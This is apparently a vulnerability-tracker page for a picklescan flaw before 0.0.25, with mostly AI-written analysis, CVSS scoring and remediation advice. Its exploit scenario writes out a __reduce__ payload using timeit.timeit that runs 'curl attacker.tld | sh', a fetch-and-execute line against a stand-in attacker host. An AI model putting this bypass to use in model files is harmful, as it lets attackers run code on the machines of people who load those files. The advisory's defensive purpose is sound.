Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft pickle with timeit.timeit __reduce__ payload
-
DeliveryDeliver via model hub or file share
-
ExploitVictim scans with picklescan, reports clean
-
ExecutionVictim calls pickle.load on artefact
-
Persisttimeit.timeit exec's embedded Python
-
Impactos.system runs attacker commands as loader
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation completeness
|
| Exploitation Conditions | Exploitation requires three concrete conditions: (1) the victim ingests a pickle file (typically a PyTorch .pt/.pkl model artefact) supplied by the attacker, e.g. from a public model hub, email, or shared storage; (2) the victim uses picklescan at a version below 0.0.25 as their vetting tool and trusts its 'clean' verdict - this is the configuration condition that makes the bypass meaningful; and (3) the victim then calls pickle.load() (or torch.load with the default pickle module) on that file in a process with the privileges the attacker wants to acquire. Limiting factors per the CVSS 4.0 vector are AT:P (the picklescan-then-load workflow must exist) and UI:P (a human must choose to load the file); the bypass does not fire against pipelines that already refuse untrusted pickles, use safetensors, or sandbox deserialization, and it does not give the attacker any foothold without that load step. |
| Impact | CVSS 4.0 scores this 7.6 (High) with AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N - network reachable, no privileges, but requiring both an attack precondition (AT:P, i.e. the victim must use picklescan and then load the file) and active user interaction (UI:P, the victim must choose to pickle.load the untrusted artefact). No EPSS or CISA KEV data is provided, so there is no public exploitation telemetry; the vulnerability is confirmed actively exploited status does not apply, and publicly available exploit code exists in the GHSA advisory PoC. Real-world risk is meaningful but conditional: it materialises only in pipelines that (a) ingest third-party pickle/PyTorch artefacts and (b) rely on picklescan as the gating control rather than sandboxing. Confidentiality and integrity impact are High (full code execution in the loader's process) while availability is rated None, which is conservative given that arbitrary commands could trivially disrupt availability - defenders should treat VA as effectively High in practice. |
| Exploit ScenarioDerived | An attacker publishes a poisoned PyTorch checkpoint to a model hub or sends one to a target ML engineer; the file's pickle stream uses __reduce__ to return (timeit.timeit, ('', 'import os; os.system("curl attacker.tld | sh")')). The defender runs picklescan, which reports zero infected files and zero dangerous globals, then calls pickle.load() - at which point timeit.timeit exec()s the embedded Python and the os.system shell command runs as the loading process. A working PoC is published in the GHSA advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 22, 2026
Detection bypass in picklescan versions before 0.0.25 allows attackers to embed remote code execution payloads in pickle files by abusing the built-in timeit.timeit() function inside a __reduce__ method, which is not on the unsafe-globals blacklist. Any organization using picklescan to vet PyTorch or other pickle-based model files is affected, and a working PoC is publicly documented in the GHSA advisory (no public exploit identified at time of analysis as a weaponized tool, but POC code is published).
RemediationAI
Vendor-released patch: upgrade picklescan to 0.0.25 or later (pip install --upgrade picklescan>=0.0.25), which adds timeit to the unsafe-globals blacklist; the upstream fix is tracked in https://github.com/mmaitre314/picklescan/pull/40 and announced in GHSA-v7x6-rv5q-mhwc. Where immediate upgrade is impossible, extend picklescan's unsafe-globals configuration to explicitly block timeit (and audit for other stdlib modules that exec/eval arbitrary strings such as pdb, code, codeop, runpy) - the trade-off is maintenance burden as new bypasses emerge. As compensating controls, refuse to pickle.load() untrusted artefacts and prefer safetensors for PyTorch weights, or load suspect pickles inside a network-egress-blocked, filesystem-isolated sandbox (container, gVisor, or seccomp) so that even successful RCE cannot reach the internet or production data; the trade-off is added pipeline complexity and latency. Do not rely on any single static scanner as the sole defence - treat picklescan as one layer.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
picklescan is a Python static-analysis tool that inspects pickle files for dangerous opcodes and globals before pickle.load() is called, typically to defend ML pipelines that load PyTorch model weights. The underlying weakness is CWE-184 (Incomplete List of Disallowed Inputs): the scanner enumerates known-bad modules such as os, subprocess, and posix, but timeit - a standard-library module whose timeit() function takes arbitrary Python source as its first argument and exec()s it - was absent from the blacklist. Because pickle's __reduce__ mechanism lets the deserializer call any importable callable with attacker-supplied arguments, returning (timeit.timeit, ('', 'import os; os.system(...)')) lets the attacker execute arbitrary code at pickle.load() time while picklescan reports zero dangerous globals. The affected component is cpe:2.3:a:picklescan:picklescan:*:*:*:*:*:*:*:* across all versions below 0.0.25.
Know when Picklescan gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Network-delivered malicious pickle (AV:N), no privileges (PR:N), but the victim must run picklescan and then pickle.load the file (UI:R); successful exec gives full code execution, so C/I/A:H.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
1DescriptionCVE.org
picklescan before 0.0.25 fails to detect malicious pickle files that use timeit.timeit() in the __reduce__ method, allowing remote code execution. Attackers can craft pickle files that import dangerous libraries like os and execute arbitrary system commands, which evade picklescan detection and execute when pickle.load() is called.
Executive ViewAI
picklescan, a security validation tool for machine learning model files, contains a detection bypass that allows attackers to embed remote code execution payloads in pickle files and other model formats. Organizations using picklescan as a control to vet PyTorch models before loading them now face direct exposure to code execution through the bypassed security layer.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
More in Picklescan
View allRemote code execution against users of picklescan versions prior to 1.0.4 is achievable by smuggling any blocked functio
An Improper Handling of Exceptional Conditions vulnerability in the ZIP archive scanning component of mmaitre314 pickles
A Protection Mechanism Failure vulnerability in mmaitre314 picklescan versions up to and including 0.0.30 allows a remot
An Improper Input Validation vulnerability in the scanning logic of mmaitre314 picklescan versions up to and including 0
Detection bypass in picklescan prior to 0.0.29 allows attackers to smuggle remote code execution payloads through pickle
Detection bypass in picklescan before 0.0.28 allows attackers to embed malicious torch.jit.unsupported_tensor_ops.execWr
Detection bypass in picklescan before 0.0.28 allows attackers to smuggle arbitrary code through pickle files by abusing
Detection bypass in picklescan before 0.0.29 allows malicious pickle files to evade scanning by abusing the undetected i
Detection bypass in picklescan versions before 0.0.30 allows malicious pickle files to evade security scanning by using
Detection bypass in picklescan versions prior to 0.0.29 allows attackers to smuggle arbitrary code execution payloads th
Detection bypass in picklescan before 0.0.33 allows attackers to smuggle arbitrary code through malicious pickle files b
Detection bypass in picklescan before 0.0.29 allows attackers to craft malicious pickle files using idlelib.debugobj.Obj
EUVD-2025-210292
GHSA-fh2f-24rh-r2vq
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB